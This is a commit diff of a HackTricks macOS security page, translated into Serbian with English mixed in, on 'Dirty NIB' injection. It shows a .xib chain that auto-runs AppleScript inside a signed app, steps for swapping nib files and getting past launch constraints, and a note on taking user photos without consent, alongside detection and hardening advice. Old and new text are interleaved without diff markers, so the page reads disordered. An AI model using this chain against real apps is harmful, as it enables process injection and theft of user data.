Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-26 17:13:07 +00:00
parent afb4217d8b
commit 1920eee6e2

View File

@ -2,72 +2,147 @@
{{#include ../../../banners/hacktricks-training.md}}
**Za više detalja o tehnici pogledajte originalni post sa:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) i sledeći post od [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)**.** Evo sažetak:
Dirty NIB odnosi se na zloupotrebu Interface Builder fajlova (.xib/.nib) unutar potpisanog macOS app bundla da bi se izvršila logika kojom kontroliše napadač unutar ciljnog procesa, čime se nasleđuju njegova entitlements i TCC permisije. Ovu tehniku je izvorno dokumentovao xpn (MDSec), a kasnije ju je generalizovao i značajno proširio Sector7, koji je takođe obradio Appleove mitigacije u macOS 13 Ventura i macOS 14 Sonoma. Za pozadinu i dubinske analize, pogledajte reference na kraju.
### Šta su Nib datoteke
> TL;DR
> • Before macOS 13 Ventura: replacing a bundles MainMenu.nib (or another nib loaded at startup) could reliably achieve process injection and often privilege escalation.
> • Since macOS 13 (Ventura) and improved in macOS 14 (Sonoma): firstlaunch deep verification, bundle protection, Launch Constraints, and the new TCC “App Management” permission largely prevent postlaunch nib tampering by unrelated apps. Attacks may still be feasible in niche cases (e.g., samedeveloper tooling modifying own apps, or terminals granted App Management/Full Disk Access by the user).
Nib (skraćeno od NeXT Interface Builder) datoteke, deo Apple-ovog razvojnog ekosistema, namenjene su definisanju **UI elemenata** i njihovih interakcija u aplikacijama. One obuhvataju serijalizovane objekte kao što su prozori i dugmad, i učitavaju se u vreme izvođenja. I pored njihove stalne upotrebe, Apple sada preporučuje Storyboards za sveobuhvatniju vizualizaciju UI toka.
## What are NIB/XIB files
Glavna Nib datoteka se poziva u vrednosti **`NSMainNibFile`** unutar `Info.plist` datoteke aplikacije i učitava je funkcija **`NSApplicationMain`** koja se izvršava u `main` funkciji aplikacije.
Nib (skraćeno od NeXT Interface Builder) fajlovi su serijalizovani UI object graphovi koje koriste AppKit aplikacije. Moderni Xcode čuva uređive XML .xib fajlove koji se pri buildu kompajliraju u .nib. Tipična aplikacija učitava svoj glavni UI preko `NSApplicationMain()` koji čita `NSMainNibFile` ključ iz appovog Info.plist i instancira object graph u runtimeu.
### Proces Injekcije Prljavog Niba
Ključne tačke koje omogućavaju napad:
- NIB loading instantiates arbitrary ObjectiveC classes without requiring them to conform to NSSecureCoding (Apples nib loader falls back to `init`/`initWithFrame:` when `initWithCoder:` is not available).
- Cocoa Bindings can be abused to call methods as nibs are instantiated, including chained calls that require no user interaction.
#### Kreiranje i Postavljanje NIB Datoteke
## Dirty NIB injection process (iz perspektive napadača)
1. **Početna Konfiguracija**:
- Kreirajte novu NIB datoteku koristeći XCode.
- Dodajte objekat u interfejs, postavljajući njegovu klasu na `NSAppleScript`.
- Konfigurišite početnu `source` svojstvo putem User Defined Runtime Attributes.
2. **Gadget za Izvršavanje Koda**:
- Konfiguracija omogućava pokretanje AppleScript-a na zahtev.
- Integrisati dugme za aktiviranje `Apple Script` objekta, posebno pokrećući `executeAndReturnError:` selektor.
3. **Testiranje**:
The classic preVentura flow:
1) Create a malicious .xib
- Add an `NSAppleScript` object (or other “gadget” classes such as `NSTask`).
- Add an `NSTextField` whose title contains the payload (e.g., AppleScript or command arguments).
- Add one or more `NSMenuItem` objects wired via bindings to call methods on the target object.
- Jednostavan Apple Script za testiranje:
2) Autotrigger without user clicks
- Use bindings to set a menu items target/selector and then invoke the private `_corePerformAction` method so the action fires automatically when the nib loads. This removes the need for a user to click a button.
```bash
Minimal example of an autotrigger chain inside a .xib (abridged for clarity):
```xml
<objects>
<customObject id="A1" customClass="NSAppleScript"/>
<textField id="A2" title="display dialog \"PWND\""/>
<!-- Menu item that will call -initWithSource: on NSAppleScript with A2.title -->
<menuItem id="C1">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="initWithSource:"/>
<binding name="Argument" destination="A2" keyPath="title"/>
</connections>
</menuItem>
<!-- Menu item that will call -executeAndReturnError: on NSAppleScript -->
<menuItem id="C2">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="executeAndReturnError:"/>
</connections>
</menuItem>
<!-- Triggers that autopress the above menu items at load time -->
<menuItem id="T1"><connections><binding keyPath="_corePerformAction" destination="C1"/></connections></menuItem>
<menuItem id="T2"><connections><binding keyPath="_corePerformAction" destination="C2"/></connections></menuItem>
</objects>
```
Ovo omogućava izvršavanje proizvoljnog AppleScript-a u ciljnom procesu pri učitavanju nib-a.
Napredni lanci mogu:
- Instancirati proizvoljne AppKit klase (npr. `NSTask`) i pozivati metode bez argumenata poput `-launch`.
- Pozvati proizvoljne selektore sa objekt-argumentima pomoću gore pomenutog binding trika.
- Učitati AppleScriptObjC.framework da bi se napravio bridge ka ObjectiveC i čak pozivali izabrani C API-ji.
- Na starijim sistemima koji još uključuju Python.framework, napraviti bridge ka Pythonu i onda koristiti `ctypes` za pozivanje proizvoljnih C funkcija (Sector7s research).
3) Zameniti nib aplikacije
- Kopirajte `target.app` na mesto gde je moguće pisati, zamenite, npr., `Contents/Resources/MainMenu.nib` zlonamernim nib-om i pokrenite `target.app`. PreVentura, nakon jednokratne Gatekeeper procene, kasnija pokretanja su obavljala samo plitke provere potpisa, pa nonexecutable resursi (kao .nib) nisu bili ponovo verifikovani.
Example AppleScript payload for a visible test:
```applescript
set theDialogText to "PWND"
display dialog theDialogText
```
## Moderne macOS zaštite (Ventura/Monterey/Sonoma/Sequoia)
- Testirajte pokretanjem u XCode debageru i klikom na dugme.
Apple je uveo nekoliko sistemskih mitigacija koje dramatično smanjuju izvodljivost Dirty NIB na modernim macOS sistemima:
- Firstlaunch deep verification and bundle protection (macOS 13 Ventura)
- Pri prvom pokretanju bilo koje aplikacije (quarantined ili ne), dubinska provera potpisa pokriva sve resurse bundlea. Nakon toga, bundle postaje zaštićen: samo aplikacije istog developera (ili eksplicitno dozvoljene od strane aplikacije) mogu menjati njegov sadržaj. Druge aplikacije zahtevaju novu TCC “App Management” dozvolu za pisanje u bundle druge aplikacije.
- Launch Constraints (macOS 13 Ventura)
- System/Applebundled apps cant be copied elsewhere and launched; ovo ubija pristup „copy to /tmp, patch, run” za OS aplikacije.
- Improvements in macOS 14 Sonoma
- Apple je ojačao App Management i ispravio poznate bypasseve (npr. CVE202340450) koje je prikazao Sector7. Python.framework je uklonjen ranije (macOS 12.3), što je prekinulo neke lance za eskalaciju privilegija.
- Gatekeeper/Quarantine changes
- Za širu diskusiju o izmenama Gatekeepera, porekla i procene koje su uticale na ovu tehniku, pogledajte stranicu navedenu ispod.
#### Ciljanje Aplikacije (Primer: Pages)
> Practical implication
> • Na Ventura+ generalno ne možete izmeniti .nib treće strane aplikacije osim ako vaš proces nema App Management ili nije potpisan istim Team ID kao cilj (npr. developer tooling).
> • Dodeljivanje App Management ili Full Disk Access shellovima/terminalima efektivno ponovo otvara ovu površinu napada za sve što može izvršavati kod unutar konteksta tog terminala.
1. **Priprema**:
- Kopirajte ciljan app (npr. Pages) u poseban direktorijum (npr. `/tmp/`).
- Pokrenite aplikaciju da biste izbegli probleme sa Gatekeeper-om i keširali je.
2. **Prepisivanje NIB Datoteke**:
- Zamenite postojeću NIB datoteku (npr. About Panel NIB) sa kreiranom DirtyNIB datotekom.
3. **Izvršavanje**:
- Pokrenite izvršavanje interakcijom sa aplikacijom (npr. odabirom `About` menija).
### Rešavanje Launch Constraints
#### Dokaz Koncepta: Pristupanje Korisničkim Podacima
Launch Constraints sprečavaju pokretanje mnogih Apple aplikacija iz nepodrazumevanih lokacija počevši od Ventura. Ako ste se oslanjali na preVentura radne tokove kao što su kopiranje Apple aplikacije u privremeni direktorijum, modifikovanje `MainMenu.nib` i njeno pokretanje, očekujte da to neće raditi na verzijama >= 13.0.
- Izmenite AppleScript da pristupi i izvuče korisničke podatke, kao što su fotografije, bez pristanka korisnika.
### Uzorak Koda: Maliciozna .xib Datoteka
## Enumerisanje ciljeva i nibova (korisno za istraživanje / legacy sisteme)
- Pristupite i pregledajte [**uzorak maliciozne .xib datoteke**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) koja demonstrira izvršavanje proizvoljnog koda.
- Pronađite aplikacije čiji je UI nibdriven:
```bash
find /Applications -maxdepth 2 -name Info.plist -exec sh -c \
'for p; do if /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" >/dev/null 2>&1; \
then echo "[+] $(dirname "$p") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" )"; fi; done' sh {} +
```
- Pronađi moguće nib resurse unutar bundle-a:
```bash
find target.app -type f \( -name "*.nib" -o -name "*.xib" \) -print
```
- Validirajte potpise koda dubinski (neće uspeti ako ste menjali resurse i niste ponovo potpisali):
```bash
codesign --verify --deep --strict --verbose=4 target.app
```
> Napomena: Na modernim macOS verzijama bićete blokirani i od strane bundle protection/TCC kada pokušate da upišete u bundle druge aplikacije bez odgovarajuće autorizacije.
### Drugi Primer
U postu [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/) možete pronaći tutorijal o tome kako kreirati prljavi nib.
## Detection and DFIR tips
### Rešavanje Ograničenja Pokretanja
- Praćenje integriteta fajlova nad resursima bundlea
- Pratiti promene mtime/ctime za `Contents/Resources/*.nib` i druge neizvršne resurse u instaliranim aplikacijama.
- Unified logs i ponašanje procesa
- Pratiti neočekivano izvršavanje AppleScripta unutar GUI aplikacija i procese koji učitavaju AppleScriptObjC ili Python.framework. Primer:
```bash
log stream --info --predicate 'processImagePath CONTAINS[cd] ".app/Contents/MacOS/" AND (eventMessage CONTAINS[cd] "AppleScript" OR eventMessage CONTAINS[cd] "loadAppleScriptObjectiveCScripts")'
```
- Proaktivne procene
- Povremeno pokrenuti `codesign --verify --deep` na kritičnim aplikacijama da biste osigurali da resursi ostaju netaknuti.
- Kontekst privilegija
- Auditirati ko/šta ima TCC “App Management” ili Full Disk Access (posebno terminali i management agents). Uklanjanje ovih iz alata opšte namene sprečava trivijalno ponovno omogućavanje Dirty NIBstyle manipulacija.
- Ograničenja pokretanja sprečavaju izvršavanje aplikacija iz neočekivanih lokacija (npr. `/tmp`).
- Moguće je identifikovati aplikacije koje nisu zaštićene Ograničenjima pokretanja i ciljati ih za injekciju NIB datoteka.
### Dodatne macOS Zaštite
## Defensive hardening (developers and defenders)
Od macOS Sonoma nadalje, modifikacije unutar App bundle-a su ograničene. Međutim, ranije metode su uključivale:
- Preferirajte programatski UI ili ograničite šta se instancira iz nibova. Izbegavajte uključivanje moćnih klasa (npr. `NSTask`) u nib grafove i izbegavajte bindings koji indirektno pozivaju selektore na proizvoljnim objektima.
- Koristite hardened runtime sa Library Validation (već standard za moderne aplikacije). Iako ovo samo po sebi ne zaustavlja nib injection, blokira lako učitavanje native koda i primorava napadače na scriptingonly payloade.
- Ne tražite i ne oslanjajte se na široke App Management dozvole u alatima opšte namene. Ako MDM zahteva App Management, odvojite taj kontekst od shellova pokretanih od strane korisnika.
- Redovno verifikujte integritet vašeg app bundlea i učinite da mehanizmi ažuriranja automatski popravljaju resurse bundlea.
1. Kopiranje aplikacije na drugo mesto (npr. `/tmp/`).
2. Preimenovanje direktorijuma unutar app bundle-a kako bi se zaobišle početne zaštite.
3. Nakon pokretanja aplikacije da se registruje sa Gatekeeper-om, modifikovanje app bundle-a (npr. zamenjivanje MainMenu.nib sa Dirty.nib).
4. Ponovno preimenovanje direktorijuma i ponovo pokretanje aplikacije da bi se izvršila injektovana NIB datoteka.
**Napomena**: Nedavne macOS nadogradnje su ublažile ovu eksploataciju sprečavanjem modifikacija datoteka unutar app bundle-a nakon keširanja Gatekeeper-a, čineći eksploataciju neefikasnom.
## Related reading in HackTricks
Saznajte više o Gatekeeper, quarantine i provenance promenama koje utiču na ovu tehniku:
{{#ref}}
../macos-security-protections/macos-gatekeeper.md
{{#endref}}
## References
- xpn DirtyNIB (original writeup with Pages example): https://blog.xpnsec.com/dirtynib/
- Sector7 Bringing process injection into view(s): exploiting all macOS apps using nib files (April 5, 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/
{{#include ../../../banners/hacktricks-training.md}}